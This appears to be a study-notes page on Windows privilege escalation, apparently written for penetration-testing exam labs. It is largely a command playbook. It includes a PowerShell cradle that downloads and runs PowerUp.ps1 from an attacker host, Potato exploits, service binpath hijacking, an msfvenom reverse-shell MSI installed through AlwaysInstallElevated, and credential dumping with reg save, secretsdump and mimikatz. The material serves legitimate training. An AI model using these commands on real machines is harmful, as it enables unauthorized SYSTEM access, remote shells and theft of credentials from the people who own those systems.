Skip to content

Windows privilege escalation

← Back to index · Read the mindset page first.

Windows privesc comes down to three questions, in this order: what privileges does my token already hold, what runs as SYSTEM that I can influence, and what credentials are lying around? Everything below is one of those three. The single most important command is whoami /priv — it frequently hands you SYSTEM in one line, so you check it before anything else.

First: enumerate (automated + manual, as this user)

.\winPEASx64.exe                      # broad + fast; read the output, don't just scroll
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/PowerUp.ps1'); Invoke-AllChecks"
PEAS/PowerUp enumerate (allowed); if a script ever lands a shell itself that's banned auto-exploitation — you run the exploit by hand. As always: you just changed access, so enumerate from scratch as this user.

The three families (check in this order)

flowchart TD
  A["user shell"] --> B["whoami /priv  +  whoami /groups"]
  B --> C{"token privilege?"}
  C -->|SeImpersonate/SeAssignPrimaryToken| P["Potato -> SYSTEM (fast, reliable)"]
  C -->|SeBackup/SeRestore/SeDebug| L["abuse to read SAM / dump creds"]
  B --> D{"something runs as SYSTEM you can touch?"}
  D -->|service misconfig| S["unquoted path / weak perms / writable binary"]
  D -->|AlwaysInstallElevated| M["malicious .msi as SYSTEM"]
  B --> E{"stored credentials?"}
  E -->|cmdkey / registry / files| R["runas / evil-winrm / loot"]
  P --> SYS["SYSTEM -> proof.txt"]
  S --> SYS
  M --> SYS
  R --> SYS

Manual enumeration — what to look at and why

whoami /priv      # THE first check — SeImpersonate etc. = near-instant SYSTEM
whoami /groups    # Administrators? Backup Operators? Remote Management Users?
systeminfo        # OS build + hotfixes -> wes.py for missing-patch exploits (last resort)
# services running from non-standard paths (i.e. not C:\Windows) = suspicious:
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"
cmdkey /list      # saved credentials you can runas with
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"   # autologon DefaultPassword
findstr /si password *.txt *.ini *.config *.xml       # creds in files
type C:\Windows\Panther\Unattend.xml 2>nul            # install-time creds
How to read it: whoami /priv is the jackpot check — certain privileges are SYSTEM with the right tool. whoami /groups can short-circuit everything (Backup Operators can read the SAM; Administrators just needs a UAC-bypass or a SYSTEM shell). The service list filtered to non-C:\Windows paths surfaces the one service an admin installed carelessly.


Family 1 — Token privileges (check first, easiest win)

SeImpersonate / SeAssignPrimaryToken → Potato → SYSTEM

Why it works: these privileges let a process impersonate another token. A "potato" exploit tricks a SYSTEM-level service into authenticating to you, then impersonates its token — and service accounts (IIS iis apppool, MSSQL, etc.) almost always hold SeImpersonate. This is why a web/DB foothold on Windows is often a one-step path to SYSTEM.

.\PrintSpoofer64.exe -i -c "C:\Windows\Temp\shell.exe"
.\GodPotato -cmd "C:\Windows\Temp\shell.exe"
.\JuicyPotatoNG.exe -t * -p C:\Windows\Temp\shell.exe
Which one: PrintSpoofer/GodPotato work on modern Windows (Server 2019/2022, Win10/11); JuicyPotato is for older (≤2016). If one fails, try another — the "right" potato depends on the OS version.

SeBackup / SeRestore / SeDebug

Why it works: SeBackupPrivilege bypasses file ACLs for reading — so you can copy the SAM and SYSTEM registry hives and dump local hashes offline. SeDebug lets you touch any process (dump LSASS for creds).

reg save hklm\sam sam ; reg save hklm\system system      # then secretsdump -sam sam -system system LOCAL

Family 2 — Something runs as SYSTEM you can influence

Service misconfigurations

Why it works: Windows services run as SYSTEM. If you can change what executable a service runs — or replace the executable on disk — your code runs as SYSTEM at next start.

sc qc <service>                                   # what does it run, as whom?
accesschk.exe -uwcqv <user> <service>             # can you modify it?
# weak service permissions -> point it at your payload:
sc config <service> binpath= "C:\Windows\Temp\shell.exe" ; sc stop <service> ; sc start <service>
# writable service EXE on disk -> just overwrite it, then restart the service
Unquoted service path (a subtle, common one): a service path like C:\Program Files\My App\svc.exe with no quotes makes Windows try C:\Program.exe, then C:\Program Files\My.exe, before the real binary. If you can write to one of those earlier locations, your binary runs as SYSTEM:
C:\Program Files\My App\svc.exe  ->  drop C:\Program.exe  (or "Program Files\My.exe")
How to spot it: the wmic service query above, looking for a path with a space and no quotes, plus a writable intermediate directory (accesschk the folders).

AlwaysInstallElevated

Why it works: if both registry keys are set, Windows installs any .msi as SYSTEM — a policy meant for convenience that's a direct privesc.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# both == 1  ->
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=443 -f msi -o x.msi
msiexec /quiet /qn /i C:\Windows\Temp\x.msi
Reasoning: both keys must be 0x1 — one alone does nothing. winPEAS flags this; it's a free SYSTEM when present.

Family 3 — Stored credentials

Why it works: Windows stashes credentials in many places, and admins leave them in scripts, configs, and the registry.

cmdkey /list                                          # saved creds -> use without knowing them:
runas /savecred /user:admin "C:\Windows\Temp\shell.exe"
# found a plaintext admin password anywhere -> become them:
runas /user:DOMAIN\admin cmd        # or evil-winrm / RunasCs.exe
Reasoning: cmdkey /list showing a stored admin credential means you can runas /savecred as that admin without ever knowing the password. Any plaintext cred you find → immediately try it via WinRM/runas/RDP.

After SYSTEM — dump everything

# remotely with admin creds:
impacket-secretsdump $DOMAIN/$USER:$PASS@$IP
netexec smb $IP -u $USER -p $PASS --sam --lsa
# mimikatz on-box: sekurlsa::logonpasswords ; lsadump::sam
type C:\Users\Administrator\Desktop\proof.txt    # screenshot WITH whoami + ipconfig in frame
Reasoning: SYSTEM isn't the finish line — it's a credential mine. secretsdump/mimikatz pull local hashes and cached domain creds, which are usually what carry you to the next host or into Active Directory. Dump before you move on.

When nothing lands — the Windows stuck-protocol

Kernel/missing-patch exploits are the last resort (match systeminfo to wes.py), for the same reason as Linux — a wrong one bluescreens the box. Before that: re-run whoami /priv (did you miss an impersonate priv?), re-read winPEAS's "interesting" section slowly, check scheduled tasks (schtasks /query /fo LIST /v), and loot harder for creds — the Windows answer is far more often a misconfig or a stored password than a kernel bug.